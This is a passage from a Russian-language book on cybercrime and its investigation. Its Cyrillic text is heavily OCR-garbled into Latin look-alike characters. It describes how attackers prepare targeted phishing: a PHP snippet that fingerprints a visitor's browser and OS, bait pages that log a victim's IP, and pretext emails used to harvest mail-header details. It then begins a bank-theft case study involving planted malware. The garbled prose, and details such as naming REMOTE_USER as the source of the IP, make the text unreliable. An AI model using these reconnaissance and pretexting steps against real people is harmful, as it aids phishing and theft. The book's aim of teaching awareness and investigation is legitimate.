JIaTeJIbHO KaXXIOMY UeJIOBEKY MMETh IPeACTaBIeHe O BO3MOKHOCTSIX
OOHaApYKeHMS CJIeJJOB KMOepIpecTyIUIeH)sl, YTOObI He OBbITh paboM MJI-
mo3uit 1 MuGoB. 3a CKOPOCTbI0O MHTETPaIMM BbICOKUX TEXHOJIOTMII BO
Bce cephl KM3HM UeJIOBEeKa HeJlb3s 3a0bIBAaTh O ITOMOJTHEeHMUN 6a30BbIX
3HaHMIt, TeM 6oJiee ecu 3TO KacaeTcs 6e30MacHOCTH.

OnpHOV 13 OCHOBHBIX M€, KOTOPBIX MIPULEPKMUBAJICS aBTOP MPU CO3-
IOAaHUM 3TOV KHUTH, SIBJISIETCS TIOTbITKA pa3BeHuaTh M@ 0 HeBepOSITHOM
CJIOKHOCTM 151 TOHMMAaHMS HEeCTIeIIMa/IICTOM MeXaHM3MOB, UCIIO/Ib3ye-
MBIX TP KMOEPITPECTYIIEHUSIX.

B 3T0i1 m1aBe mpepjaraeTcsl pacCCMOTPETh M IMPOaHa/INM3UpPOBATh TH-
MYHbIe CJTydayt KOMOMHMPOBAHHO aTaKy Ha peaibHO ITPOM30IIeIINX
cyvasx.

Ho mepen Haua/jioM aTaky 3JI0YMbIIIJIEHHMKAM TPeOyeTCs MOMyUYUTh
HeKOoTopyio nHopMaiuio 06 aTakyeMoii CucTeMe MOTb30BaTeJsl.

2.1. MNMoaroToBKa K NepCoOHaNIM3UPOBAHHOM

¢duwmHroson arake. Hekortopble cneuudpuyeckue
cnocobbl c6opa nHdopmaumm

Boo06i11e roBopst, CITOCOO0B JIeTaIbHOIO ITOTYYeHMS TEXHIUYeCKOoi MHbop-
Maiuu 06 aTakyeMoii epcoHe WIu UCIOIb3yeMoil cucTemMe NOCTaTou-
HO MHoro. He yriy6msisich 31ech B 3Ty 6€31HY MHOT00Opa3us, XOpOoIIo
6b1 06paTUTh BHMMAaHME Ha CaMble TIPOCTbIe, HO TOBOJIbHO MHTEPECHbBIE
CITOCOOBI TIOTYYEeHMST BasKHOIM MHGOpPMAINM, UCIIOb3yeMble IPU IO/ -
rOTOBKE K Kubeparake, TeM 6oJiee C MCIO0/Ib30BaHMEM IIePCOHAIU3UPO-
BaHHOTrO (puIIMHra.



MOATOTOBKA K MEPCOHANM3UPOBAHHON OUIUMHTOBOM ATAKE 81

B Xome MoAroToBKM K IieJleHalnpaBieHHOl aTake OCYIeCTBIISIOTCS
M3yuyeHye Kpyra obIeHNs ITIepCOHbI, MHTepeCcoB, chepa AesaTeTbHOCTY aTa-
Kyemoro. Kpome 3Toro, 3/10yMbIlIUIEHHMKAM HEO6XOIMMO TTOHMMATh, Ka-
KJ/M ITPOrpaMMHBIM 06GecrieueHeM 1 YCTPOICTBAMM TI0Tb3YeTCsI JKepTBa.

B 3aBMCHMMOCTM OT UCII0/Ib3yeMbIX METOA0B aBTOPM3alMM, TPOCMOTpa
ceM HeoO6X0aMO TOTOBUTD MHTepdeic GUIIMHT-IBMKKA UIU TUIT 3a-
CblJIa€MOJV BpeLOHOCHOV IMPOrpaMMbl.

B vacTHOCTM, GO/MBIIIOE 3HAUEHME MMEIOT OrepalMoOHHAasl CUcTeMa
1 Gpaysep, a Takke MHOpMAaIMS 0 criocobax oopalleHus IoIb30BaTe-
JISI K aKKayHTY: TIOCPeJICTBOM BebG-uHTepderica iy MOYTOBOTO K/IMEHTA.

Ba)kHO 1151 37I0YMBIIIVIEHHMKOB 3HATh, B KaKkue Mepuoabl BpeMeH!
MOJIb30BATEb OCYIIECTB/ISIET 0OPAbOTKY MOYTHI, & TakKKe IepPUOMIbI,
Korja obpaileHyue K ITOUTOBOMY aJipecy He MPOU3BOAUTCS. DIEKTPOH-
Hasl TI0UTa MOXET ObITh CMHXPOHM3MPOBaHa C MOOGMIbHBIM Tesle(hOoHOM,
1 OTIOBEIIeHMSI O BXOSIIINX COOOIeHMSIX TTOCTYIAal0T He3aMe A/ INTeTbHO.

Kpome storo, cobupaercst MHbopMaIys 06 UCIOIb3yeMbIX TPOBaii-
Iepax 1 MecTax, Te OCYIeCTBJIseT MOoAK/IIoUeHe K ceTy IHTepHeT 110-
TeHI[MaTbHasl )KkepTBa aTaKMu.

Bce 3T cBeeHMsT HEOOXOAMMbI 3JI0YMBIIIIJIEHHUKY IJIS1 TIOATOTOBKA
VMHAVBUAYATbHOTO QUIIMHT-ABVOKKA, TOAXOASILETO0 15 MCII0Ib3yeMOro
>KepTBOJ KOMITbIOTEPHOTO YCTPOICTBA, a Takke IJIaHUMPOBAHMS JaJlb-
Henmux aencTeuii. Harpumep, BHeApeHMS B [IepPEInCKy, O YeM MbI I10-
rOBOPUM II03Ke.

PaccmaTpuBaTh BCe TpuUBMAAbHbIE CIIOCOOBI cbopa MHGOpMALIUMA
0 TOTb30BaTese, KOTOPbIE MOTYT OBITh AOCTYITHBI 3JI0YMbIIUIEHHUKAM,
B IAHHOJ KHUTe Hellesiecoo6pa3Ho. YKaxkeM TOJIbKO, UTO GepeTcs B pac-
yeT BCs 0bmemocTyHas mHdopmalusi: pasmelraeMbie paHee pesio-
Me, TpodmaM Ha pa3HOOOGPa3HbIX pecypcax, ColMaabHbIe CETU, aHAINU3
dororpaduit 1 JOKYMEHTOB, CaiiThl OObSIB/IEHMI1, 3HAKOMBIE ¥ POJIHBIE.
Bosb1ioit mact MHbopMalun MOXKeT JaTh 3/I0yMbIIIJIEHHMKAM ITPOTOH
MepCOHBI 110 6a3aM JTaHHBIX, JOOBITHIX HA YEPHOM pPbIHKE MHGOpPMAI-
OHHBIX YCJIYT, 0 KOTOPOM peub MOoiAeT B 3aKI0YeHUM KHUTH.

Heo6x01yM0 0c000 yKa3aThb HECKOJIbKO CHenu(puUUIecKux Crocobos,
O CYIIeCTBOBAHMM KOTOPbIX MaJIO KTO IOTaibIBaeTCsl.

OnpeodeneHue b6pay3epa u onepayuoHHOL cucmemMbl amaKyemoz20

JormycTuM, 37I0yMBbIIIIJIEHHMKAM M3BeCTeH HOMep MOOMIIbHOTO TesieoHa
MM 3JIEKTPOHHBIN ajipec BbIOPAHHO JXKePTBbI. ATAKYIOIIMIA IJIS TIOf-
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TOTOBKM aTakyu U c6opa MHGOpMAaLMM CO30aeT Ha COBEPIIEHHO JTI060M
cepBepe CaiT (WM OfHY CTPAHUILY) C COAEPKUMBIM, TaK UM MHAYE UH-
TepeCHBbIM >KepTBe. DTO He (PUILNHT-IBMKOK, 3TO HEUTO IpyToe.

IlaHHbBIN pecypc co3maeTcsl TOAbKO I coopa MHpopMaluu o roce-
TUTEJIe B ITaCCMBHOM ¢opmMaTe, TO €CTh 63 MPUHYKIEHMS IT0JIb30BaTe IS
K BBOIY KaKMX-JIMOO JaHHBIX. Bce HeOOXOmMMbIe TaHHbIE COOMPAIOTCS
13 MlepeMeHHbIX, ColepXKallluX JaHHble 00 OKPY>KeHUM.

[Tomo6HyI0 MHGOpMAaINIO COOMPAIOT CUETUMKM ITOCEIaeMOCTH, yCTa-
HaBJIMBaeMble aJM/HUCTPATOPaMM PECYPCOB IJIsI aHaIN3a ITOCeTUTeeNn
caiita, HO cobupaeMast MHGOPMAIVS He MMeeT IMPUBSI3KU K OIpeeeH-
HOMY JINILY.

HemHoro Teopumn.

User-Agent — 3TO KJIMEHTCKOe MPUJIOKeHUe, UCIIOJb3YIolee oIpe-
IeJIeHHbIN ceTeBOJi IMPOoTOoKoI. [Ipu rocenieHnn Be6-caiiTa KIMEHTCKOe
TIPUJIOSKEeHYE OOBIYHO TTOChIIaeT Beb-cepBepy nHopmanuio o cebe. ITo
TEKCTOBasl CTPOKa, sABJsomascs yacrotio HTTP-3anpoca.

B paccmaTpuBaeMoM paHee mpuMepe GUIMMHT-ABYKKA (TIpumMep 3)
B IIpoliecce TeCTOBOW aBTOpM3aluu IJISI IPOBEPKU Iapojsi cCepBepy
nochbuiasiach MHGoOpMalus O KIMeHTCKOM mpuiokeHuu: User-Agent:
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722
Firefox/3.6.8 ( .NET CLR 3.5.30729).

EcTb B s13biKe PHP BO3MOKHOCTD moyrydeHus: nHbopmaium o6 oKpy-
>xenun nocpenctsoM nepemenHoi $ SERVER, no cytu sBasiomieiics
MAacCCUBOM, COAEPKAIMM AOBOJbHO pa3sHOOOpa3HbIe JaHHbIE!.

[TlepemenHass § SERVER — 3TO mMacCuB, coaepykaliuii Takyo nH@op-
MaluIo, KaK 3arojioBKu, MIyTU UM MECTOIOJIOKEHUS CKPUIITOB. 3anucu
B 9TOM MacCMBe CO3Jal0TCsI Be6-cepBepomM.

B kauecTBe mpuMepa MUCIIOAb30BaHMSI MacCMBa MOXHO MPOAEMOH-
CTpUpOBaTh NonydeHue MHbOpMalLu yaajleHHbIM pecypcoMm, Ha CTOPO-
He KOTOPOTO UCIoNHseTcs: ckpurit PHP:
<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

Sbrowser = get_browser (null, true);
print_r(Sbrowser);
?>

L https://php.ru/manual/reserved.variables.server.html.
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OTy QYHKIMIO MOXHO J06aBUTb K CTPAHMIE COBEPIIEHHO JIDOOTO
pecypca 1 MoayIuTb MHGOPMAIVIO 00 MCITOIb3yeMOi TOCeTUTEIEM Bep-
cuu 6paysepa U onepalyioHHOM CUCTEMBI.

EnuHCTBEHHOE YCUIOBME PAOOTOCIIOCOOHOCTY (QYHKIMUM — ITO HaJIU-
yie Ha cepBepe MHTEpIipeTaTopa si3bika PHP, 0 uem yke yrmomMmHamoch
B IPeabIAYILIE YacTU.

[Ipu McHoJIHEHMM TIPUBEAEHHOIO BbIle MpMMepa KojJa Ha cepBe-
pe, Tipu obpallleHny K pecypcy ¢ Mcroab3oBaHmem 6paysepa Firefox
(puc. 2.1) CKpPUIIT MOTyYaeT OT 6pay3epa KJIMeHTa cleayollee 3HaUeHe:
«Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101
Firefox/56.0».

omoalarreior x

Firefox

56.0 (64-06uT) YTO HOEOrO
WCTAHOBNEHS NOCAEAHAA BepckA Firefox

Firefox cosaad Mozilla — rnobansHeM coobuec TEOM, paloTAMIWHM HAA TEM, YTo0k!
MHTEDHET QCTAEANCA OTEPRITEIM, I'I‘l\"EJ'IM‘-IHbIM H AOCTYNHEIM ANA BCEX W Ka¥ 4000,

XOTHTE NomMoHe? CAENSATE NOXEDTEOBAHKHE MK NPHCOE AMHARTECE!

HHdJDDMaLlHH 0 NFUEHSE Mpaga KOHEYHOro NONE30EaTENA MonMTHES NPHEATHOCTH

Firafor M noraTune Firefox aenanTca ToeapHLiMM 2Hakami Mozilla Foundation,

Puc. 2.1. bpay3ep Firefox

Kak BUAHO 13 MOIy4eHHbIX JaHHbIX, 3HaueHne Windows NT 6.1 cmo-
KeT MOACKa3aTh 3JI0YMBILIJIEHHUKY, YTO IOTeHMaJIbHAs XKepTBa UC-
MO/Ib3yeT OTepalMOHHYI0 CUCTEeMY OAHOV 13 Bepcuit Windows komma-
Huu Microsoft, a umenno Windows 7 mim Windows Server 2008 R2.

3naueHne Win64 ykasbiBaeT Ha UCIIOJIb30BaHMe ceMelicTBa 64-OUTHBIX
ornepanoHHbIX cucteM Windows st apxuTeKkTypbl X86-64 (AMD64)
u [A-64 (Itanium).

Takue maHHble KPUTUUHBI IJI51 TEX, KTO coOupaeTcss HayaTh ¢ 3a6po-
ca 63KA0pa MM UCIOAb30BAHUS IPYTUX BPEIOHOCHBIX KOMITbIOTEPHbBIX
[IPOTPaMM WJIU YTUJIUT, & TaAKKe TIPOSO/IKeHNS aTaKu IOCjie MOoTyuYeHus
HECAHKIMOHUPOBAHHOTIO YAAJIEHHOI'O JOCTYIIA K OllepalMOHHON CUCTe-
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Me. [Tpy KoM BpegoHOCca AO/DKHBI YUUTHIBATCS OCOOEHHOCTH
oIepanyoHHOi cucTeMbl, Win32-mmporpaMma MOKeT ObITh IIOC/IE He-
OOJIBIIMX MCIIPABJIEHNI ITIePeKOMIIMIMPOBaHa B 64-0MTHOM BapuaH-
Te. XOTs [IJISI 3alycka B 64-0MTHOI orlepalMoHHOMi cucteme Windows
32-OGUTHBIX IPUIOKEHMIi uMeeTcs noacucrema WoW6é4, pacrionoskeHme
HEKOTOPBIX CTaHIAPTHBIX AVMPEKTOPUIt U (ailyioB OT/IMYAETCs, UTO MO-
SKeT HeraTMBHO CKa3aThCsl HA pe3y/ibTaTe paboThl MPOrPaMMBbI.

[l ;eMoHCTpalyy IpMUBeJeHHOro IpyuMepa MOXKHO Takke ITOCMOT-
peThb, Kakye JaHHble OYOYT comepskaTbcsl B mepemeHHO $ SERVER
['[HTTP_USER AGENT'] ripu obpaiieHun K CKpUIITY C MCITOJIb30BaHMEM
6paysepa MS Internet Explorer (puc. 2.2).

0 nporpamme Internet Explorer 1'

E Internet
Explorer11

Eepri oBHOENEHIMA: 11.0,18 (KB3038314)
Kog npogykTa .

'&' V¥ YcTaHaenWeaTs HoOBRIE EEPCIIA AETOMATIMHECKM

© HoprnopaumaA MakkpocodT (Microsoft Corporation), 2013, Be Mpaga 2l eHe.

JaKPBITE |

Puc. 2.2. bpay3ep MS Internet Explorer

CKpUIIT TMOTy4yaeT 3HauUeHue:

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

MobuibHbIN 6pay3ep TemedoHa Samsung Mpu o6palieHnu K CTpaHu-
e, cogepxkaiueii npuseneHHbii PHP-kpumT, pacckaxkeT 3/10yMbIIIIEeH-
HMKaM cenyloniee:

Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-J710F Build/
NRD9I0M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4
Chrome/51.0.2704.106 Mobile Safari/537.36

[Tpu obpareHnu U3-1o, orepalnoHHoi cucremMbl Ubuntu dyHKIMed
OymeT mosydyeHa Takasi MHGOpMaIus:

I Komrmmmsiius — Iporiecc IepeBoja (TPaHISLIMM) MCXOIHOTO KOga KOMITbIOTEPHOM
MMpOrpamMmbl C MPeIMETHO-OPMEHTUPOBAHHOIO $I3bIKa HA MAaIlMHHO-OPUEHTUPO-
BaHHBII SI3bIK.
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Mozilla/5/0 (compatible; Kongqueror/4.5; Linux) KHTML/4.5.3 Kubuntu

BapuaHT oTOGpaskeHMsI MOTYUYEeHHbIX TaHHBIX IIPU 00palleHNUM T0JIb-
3oBatess u3s MAC OS:

Opera/9.80 (Macintosh; Intel Mac 0S X 10.10.3; Edition MAS)
Presto/2.12.388 Version/12.15

Takum 06pa3oM, 3aMaHUB MMOJIb30BaTENISI HA Pecypc ¢ pa3MellleHHbIM
Ha HeM IIPOCTeHbKUM CKPUIITOM, MUMEETCSI BO3MOXXHOCTb OIpeneanTb
MCIOJIb3yeMYI0 TTOTeHIIMaAbHO XepTBOit Bepcuio Opay3epa U orepa-
LIMOHHOM CHCTEeMBbl.

EcTecTBeHHO, /1151 MCIIOb30BaHMSI 3TOM QYHKIIUY 3/I0YMbIITUIEHHUKIA
He 0TOOpakaloT MOoyYyeHHbIX OT Opay3epa 3HaueHMi4, a 3aMChIBAIOT UX
B TEKCTOBBI (daita Ha cepBepe WM OTIIPAB/SIOT HA CBOI 3/I€KTPOHHBI

azpec.

OnpedeneHue IP-adpecoe amakyemo20

C TakuM 3Ke yCIIeXOM MOKHO MOJy4uTh MHpopMaluio 06 IP-ampece,
MOCPeACTBOM KOTOPOTO OCYIIECTBJISZIOCh OOpaleHye Mojab30BaTeIeM
K cTpaHuie. [IJiss 3TOro MOXKHO MCIT0/Ib30BaTh IepeMeHHy0 'REMOTE
USER' Toro ske maccuBa $ SERVER:

$_SERVER[ 'REMOTE_USER'];

Co3aHHbIN 3/I0yMbIIIEHHUKAMU IPOCTEHbKUI PeCypC MOXKeT I10Be-
IaThb He0O6XoaAuMYyI0 MHGOpPMaILMIO O TI0JIb30BaTesie, ¥ BCe 3TO BBITJISIAUT
COBepIIeHHO 6e300MAHO M 3aKOHHO. Takoi pecypc MOXKeT ObITh 3a0po-
IIeH ’KepTBe B COIMATbHO CeTU MJIM JIIOObIM IPYTUM CITOCOOOM, KaK OT
MMeHM He3HaKOMOTrO MOJIb30BaTeIsl, TaK U MPU UCIIOIb30BaHUM OJHOTO
13 aKKayHTOB «IpPy3eii».

3HaHMe OomepalMOHHON cucTeMbl, 6paysepa u IP-agpeca yxke 1mo-
3BOJISIET 3JIOYMBIIIJIEHHUKY OTIPENEeNIUTHCSI C TUTIOM BPeOHOCHO Mpo-
rpaMMbl, KOTOPYI0 MOXXHO 3aKMHYTb >KepTBe, WM KaKue YSI3BUMOCTU
MCMO0JIb30BaTh B MPOAO/IKEHME aTaKu.

Kak MoskeT ellle MCIOAb30BaThCS MoOMydyeHHas: uHpopmalius, oyaet
pPacCMOTPEHO B CJIEAYIOIIMX YaCTIX KHUTHU.

A moxka MOXXHO pacCMOTpeTh ellle OAMH MHTepeCcHbIi crocob Momy-
yeHMs MHOpPMAILMM O TIOTEHIMAIbHOI XepTBe, KOTOpasi OueHb BaskHa
IJIST 3JTI00HBIX KMOEPIIITMOHOB.
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AHanus cnyxebHbIx 3a20/108K08

B ocHOBe 3TOTO crioco6a monydeHust uH@opmalum JekKUT aHalIu3 Cy-
’KeOHBIX 3aroJI0BKOB (CBOJCTB) 3JI€KTPOHHOI'O COOOIIEHMSI, KOTOPbIE
MMEIOTCS Y JII000T0 COOOIIeHMs M OIpeesieHbl B JoKyMeHTe RFC-822
(Standard for ARPA Internet Text Message)'.

OTOT MeTOH, CBOAUTCSI K HAaBSI3aHHOJ I10JIb30BaTe/I0, B OTHOIIIEHUN
KOTOPOTO OCYILIECTBJIIeTCS cO0p MHMOpMAaIINK, ITIePeNucKe C UCIIOIb-
30BaHMEM IMpPUHALJeXallero eMy 3JeKTPOHHOro MO4YTOBOrO ajpeca.
Llesnb — o, KaKUM-JIMOO0 MTPeJIOrOM OT IOJIb30BaTe IS HYSKHO ITOTYUUTh
3JIEKTPOHHOE TMMCbMO.

B camMoM mpocTOM BapuaHTe 3TO MOXXET BBIIVISIIETh MPUMEPHO TakK.
[Tonbp30oBaTeN0 Ha 3JEKTPOHHBIN SIIMK NPUXOAUT nucbmo: «IIpuser,
Cepera, Korga IoJr BepHellb? Jla 1 BOOOIIe, JTaBHO He BUEINUCH, KaK
TaM Jiejia Ha paboTe?» B OTBeT Mmojab30BaTeb, CKOpee BCEro, HaIlmuIIer:
«TbI KTO BOOOGIIE?»

HaBsi3aTh mepemnucKy MOKHO TaKKe C MCIT0/Ib30BaHMeM (UIIMHTA, TO
€CTb UCIIOIb3Y4 MOXOXUIM HA U3BECTHLIN XepTBe 3JIEKTPOHHBIN azpec.
B 3aBMCMMOCTY OT JTUMYHOCTY K€PTBbI 3JI0YMBbIIIJIEHHUKM MOTYT TIpef-
CTAaBUTBHCSI PEKJIAMHBIM areHTOM, ITPOAICEPCKUM LIEHTPOM, pexkimcce-
poM, ¢poHIOM mmoMoIu, mpeacrasureaem CMU, MocTaBIIKOM TOBapOB
WIU YCIYT, KIMEHTOM U T. [I.

[TosryunB OTBETHOE MMCHMO OT NOTEHIMAIBbHO KEePTBBI M IIPOBENS €0
aHaJ/IN3, 3JI0YMBILIIJIEHHMKN/ MOTYT MOYEPIHYTh M3 HETO BeCbMa I[eHHYI0
st ce6s1 MHGopMaIuio. Ta MHGOpMaLMs HMKAK He CBSI3aHa C TeM, UTO
HamnuieT I0/Ib30BaTellb, JaXke ecu 3TO OyaeT rapa HelleH3yPHBIX BbI-
pasKeHUIA.

WHuTepecyiomas nHbopMaLs KPoeTcs B CJIYKeOHBIX 3arojioBKax
JIEKTPOHHOIO IMMChMa, KOTOPbIe B OOBIYHOM pEXMME IIPOCMOTpa He
OTOOPA’KAIOTCSI HM B IIOUTOBOM KJIMEHTe, H B MHTepdeiice MOUYTOBOIO
cepBuca. Ho oM Bce-Taku eCTb.

K nmpumepy, cry>keO6HbIe 3aT0OJI0BKM MOTYT COIepsKaTh MHGOpMAINIO
O MOYTOBOM KJ/IMEHTE, ITOCPeACTBOM KOTOPOIO MOJIb30BaTe/b OTIIPABUI
coobiieHne:

X-Mailer: Apple Mail (2.3273)

B maHHOM C/y4yae CTy>keGHbIe 3arojIoOBKM COMepKaT MHGOPMaIio
006 mcronmb30BaHuM oTripaBuTeneM Apple Mail — moyToBOro KiMeHTa OT

L https://www.w3.org/Protocols/rfc822/.
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Apple Inc., KOTOpBIi BXOOAUT B CTaHAAPTHYIO IocTtaBky Mac OS X 1 i0OS.
Hy coBepiiieHHO OYeBUIHO, YTO HET HMKAKOTO CMbIC/IA MOAKUILIBATH
TaKOMY I10JIb30BaTE/II0 BPEAOHOCHYIO IIPOrpaMMy — 69KI0P MJIM TPOSH,
HaIlMCAaHHYIO Mo, oriepaloHHbie cucteMbl Windows min Android.

Ecii 11ob30BaTenb OTIIPABIISIET IMMChMO HEIIOCPeICTBEHHO 13 Gpay-
3epa, IOMYyCTUM, cepBiuca mail.ru, To B Jry;keOHOM 3arojioBKe OyzeT co-
IepskaTbCs Cedyioliee 3HaUeHMe:

X-Mailer: Mail.Ru Mailer 1.0

[Ipu oTmpaBKe MMCbMa ITOCPEACTBOM IOUYTOBOrO KiameHTa Thunder-
bird:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101
Thunderbird/52.4.0

[Tpu oTIIpaBKe 3JIEKTPOHHOTrO MMCbMa Yepe3 MOOWIbHOE PUIOKeHe
«SIupexc ITouTa» ciyskeGHbIe 3aTOJIOBKM TaKsKe OYAYT comepskaTh Mojie3-
HYI0 MHMOpMaIuio:

X-Mailer: Yamail [ http://yandex.ru ] 5.0
X-Yandex-Mobile-Caller: mobile

13 nHbopmanum B CIy>keOHBIX 3ar0JIOBKax MPUCIaHHOTO MUChMa
TaKKe MOXHO YCTaHOBUTb [P-afpec 1 HauMeHOBaHMe YCTPOICTBA, C KO-
TOPOTO GbUIO OTIIPABJIEHO 3JIEKTPOHHOE MUCHMO.

[ToyyeHHast U3 CTYKEOHBIX 3aTOJIOBKOB JIEKTPOHHOTO IMMUChMa MH-
dbopmalys TIOMOXeT 3/I04esIM CIUIAaHMPOBATh U MPOBECTYU Ja/ibHeIIne
aTaku, CIPOEKTUPOBAB MHCTPYMEHTapuii HalaaeHusi B COOTBETCTBUU
C UCIT0JIb3YeMbIM 3KePTBOJ YCTPOMCTBOM M IIpOrpaMMaMi IJisl IPOCMOT-
pa ¥ OTIIPaBKM 3JI€KTPOHHOM MMOYTHI.

[IpuBemeHHbIE TIPUMEPBI AOKHBI IPOJEMOHCTPUPOBATh ITPOCTOTY
IO0OBIBaHMS HEOOXOMMMO MHGOPMALMM U JIMIITHNUI pa3 yKa3aTh Ha TO,
UuTO AJIS1 IpOBeAeHMsI aTaky U TMOJydyeHMs Yy>KMX [aposieil He Bcerga
TpeOYIOTCSI HeBepOSITHbIE TEXHUYECKNe 3HAHMSI, BCeé HAMHOTO IIpOIIle,
yeM KaskeTcsl.

2.2. Araka ¢ ucnonb3oBaHMEM «3abpoca»

BPeAOHOCHbIX NporpaMMm

BcnoMHMM NpuBeAeHHYIO B Hauyajle KHUTU MEePBYI0 TUMIUMYHYIO UCTO-
puto. B aToM nipumMepe, moayuMB B 6aHKe BBIMMCKY IO paCUeTHOMY CUeTy,
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oyxrasTep 06HAPYKMUJT TTPOTIAXKY AEHEKHBIX CpelcTB. Kak BbISICHMIIOCH,
XUIIeHMe TeHeXKHBIX CPEeICTB OBLJIO OCYILECTBIEHO ITOCPEICTBOM ITPOBe-
OeHMs AeBSTHAALATY MOLIEHHUYECKMX TIJIaTeXeli, COBepIIeHHBIX Yyepes
CUCTEMY OMCTAHIMOHHOTO 6AHKOBCKOTO OOCTYKMBAHMSI, YCTAHOBJIEH-
HYI0 Ha KOMIIbIOTE€pe caMoro byxrasarepa.

Korpga ripeacraBuTeny opraHusanuy o6paTuiinch B CBO 6aHK ¢ Tpe-
TEH3USIMMU, BBISICHUIOCh, UTO aBTOPU3ALMUM B CUCTEME OIUCTAHLUVMOHHOIO
0aHKOBCKOTO OOCTY;KMBAHMSI ¥ BCe MOIIEHHMYECKME TPaH3aKLUU OCY-
IeCTBJISIUCDH C MCIonb30BaHueM IP-ampecoB, ucronb3yemMbix B oduce
roTepreslieit KoMaHuu. Majo Toro, mojiyueHHbie 13 6aHKa 371IeKTPOH-
HbI€e XypHaJbl, COIepXKallue JaHHbIe O COeIMHEHMSIX, CBUIETETbCTBOBA-
JI/L O TOM, YTO IJisI AOCTYTa U MOATBEPKAEHMS Orepanuii UCIOAb30BaJICS
TOJIBKO OJIMH 3JIeKTPOHHBIN K04, TaK Ha3biBaeMbIli USB-TokeH!, Haxo-
OUBIINIACS y TVIAaBHOTO OyXraaTepa.

[IpecTyrieHMsT TAKOTO XapakTepa A0 HeLaBHEro BpeMeHU pacciieio-
BJINCH C OOIBIIUM TPYOOM, KBIMUKALMS TPECTYIUIEHUS IaBaiach
HeBEepHasl, ¥ YrOJIOBHbIE Ae/a eCJM U BO3OYKIaaMCh, TO MPAKTUIECKA
BCE OCTaBaJIMCh «BUCSIKaMM»2. [Io TeM ke MpuUUMHaAM BO30OYKIeHNe yIo-
JIOBHBIX JjeJ1 OCYIIeCTBJISIOCH C/IefiCTBEHHbIMM OpraHaMu ¢ 60JIbILIOV He-
OXOTOJi ¥ TI0 HEBEPHOI1 cTaThbe, 1o CT. 158 YK P®3, 3a KOTOpYyI0 MeHblIie
CIIPALIMBAIOT.

MakcuMyMm, Ha 4TO XBaTaja0 CJIEACTBEHHBIX OPraHOB, — 3TO YCTAHO-
BUTH 'OPOJIa, B KOTOPBIX OBLIM B UTOTe OOHAIMYEHBI TTOXUIIIEHHbIE MO-
HIeHHNYEeCKMUM ITyTeM JeHesKHbIe CpeliCTBa.

Bo306y>kIeHHOe [1eJ10, KaK IIpaBuJIo, IIbIMIIOCH B ceiide, IpMOCTaHOB-
JIeHHO€, @ pyKOBOJANTE/b OPraHM3alu U yIpeauTenu o003 peBai Ipyr
IpyTa U CBOUX COTPYAHUKOB, IIOTOMY KaK YCTaHOBUTb UCTUHHBIE MIPU-
YMHBI IPOUCILECTBUS HE yIaBaIOCh.

B [eiicTBUTENIbHOCTU UTO MOT MPEAIIONIOXUTb TeHepalbHbI OUPeK-
TOp? EAMHCTBEHHBIMM TTOATBEPKIEHHBIMY TAaHHBIMMU B Jiejie ObLIN JaH-

I eToken (0T aHII. electronic — 3JIEKTPOHHbIN U aHIJI. token — MPU3HAaK, SKETOH) — TOP-
roBast MapKa JiJIsl IMHEKY MepCOHATbHBIX CPelCcTB ayTeHTHdUKaIu B Buae USB-
KJII0uern.

2 «BUCSIK» — BO3OYKIIEHHOE, a 3aTeM ITPMOCTaHOBIEHHOE YTOJIOBHOE JTeJI0, KaK IpaBMu-
JI0, He MMeIolllee IMePCIIEKTUB PACKPBITHS B CBSI3Y C HEBO3MOKHOCTBIO YCTAHOBUTD
BMHOBHBIX JINII,

5 Cratbst 158 YK P® «Kpaska». URL: http://www.consultant.ru/document/cons_doc_LAW
_10699/57b5c7b83fcd2cf40cabe2042f2d8f04ed6875ad/.


http://www.consultant.ru/document/cons_doc_LAW_10699/57b5c7b83fcd2cf40cabe2042f2d8f04ed6875ad/
http://www.consultant.ru/document/cons_doc_LAW_10699/57b5c7b83fcd2cf40cabe2042f2d8f04ed6875ad/
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Hble, TIOJTyYeHHbIe 13 6aHKa: BBIITVCKM T10 IBVKEHUIO NEeHEKHbIX CPE/ICTB
Y KypPHaJIbl TPAH3aKIMI, YKa3bIBAKOIIMe HA TO, YTO BCE HNEVCTBUS MPO-
BOOMJICH UCKJIFOUNTEIbHO C MCIOAb30BaHMEM TOTO CAMOTO KOMIIbIOTe-
pa, YCTaHOBJIEHHOTO B OIpe/e/leHHOM KabuHeTe opraHusaiuu. Yacto
TaKue MHIMIEHThI 3aKaHUYMBAIVCh YBOJIbHEHUSIMU COTPYIHUKOB 1 6e3
BO3MOYKHOCTY KaK-TMO0 KOMIIEHCHPOBATh MPUYMHEHHBI OpraHu3aIun
y1iep6.

C HemaBHMX IIOp, NP YCJIOBUM CBOEBPEMEHHOTO MPOBeAeHNs UC-
C/IemOBaHMs KOMIIBIOTEPHOTO 060PYIOBaHMS B paMKax JI0C/IeICTBEHHOIA
MIPOBEPKM (0 Tlepeauy MaTepuaaoB B OpraHbl CJeHCTBUS Jisl pelieHus
BOIIpPOCa O BO30YXKIEeHUM YTOJIOBHOTO Jieia), MHIUIEHTbl KOMITbIOTep-
HOTO MOIIIEHHMYECTBA CTaJM BEPHO KBaJMMUIMPOBATHCS I10 CT. 159.6
VK P®! u noctaTouHo 3¢ GeKTUBHO paccaeloBaThCs.

Takue mpecTyIieHus, Kak XuilleHMe TeHeXHbIX CPeJCTB IyTeM MO-
oubuKauy KOMITbIOTepHOM MHOpMaIy M HEeCAaHKLIMOHUMPOBAHHOTO
IOCTYTIa, MMEIOT CJIOSKHbINM aJTOPUTM pacciieloBaHusI U JOKHBI HAa BCeM
MPOTSDKEHUM COMPOBOXKIATHCS KB/IMOULIMPOBAHHBIMU CITeLMalIiCTa-
Mu. Torga u'y cieCTBEHHBIX OPTAaHOB OyIeT 60sIblile XeJaHusI paboTaTh,
" Y TIOTePIIEBIINX €CTh HaJeXIa Ha Bo3MellleHue yiiepoa. K aromy erte
BepHeMCs B MOCAeNYIIIUX YaCTSIX.

A ceituac BepHeMCs K MHIMAEHTY. C 11e/IbI0 YCTaHOBJIEHUS MCTUHHBIX
MIPUYMH U 00CTOSITEIbCTB MPON30Ilie/ilIero KOMIIbIOTePhI MOTepIieBIIIeii
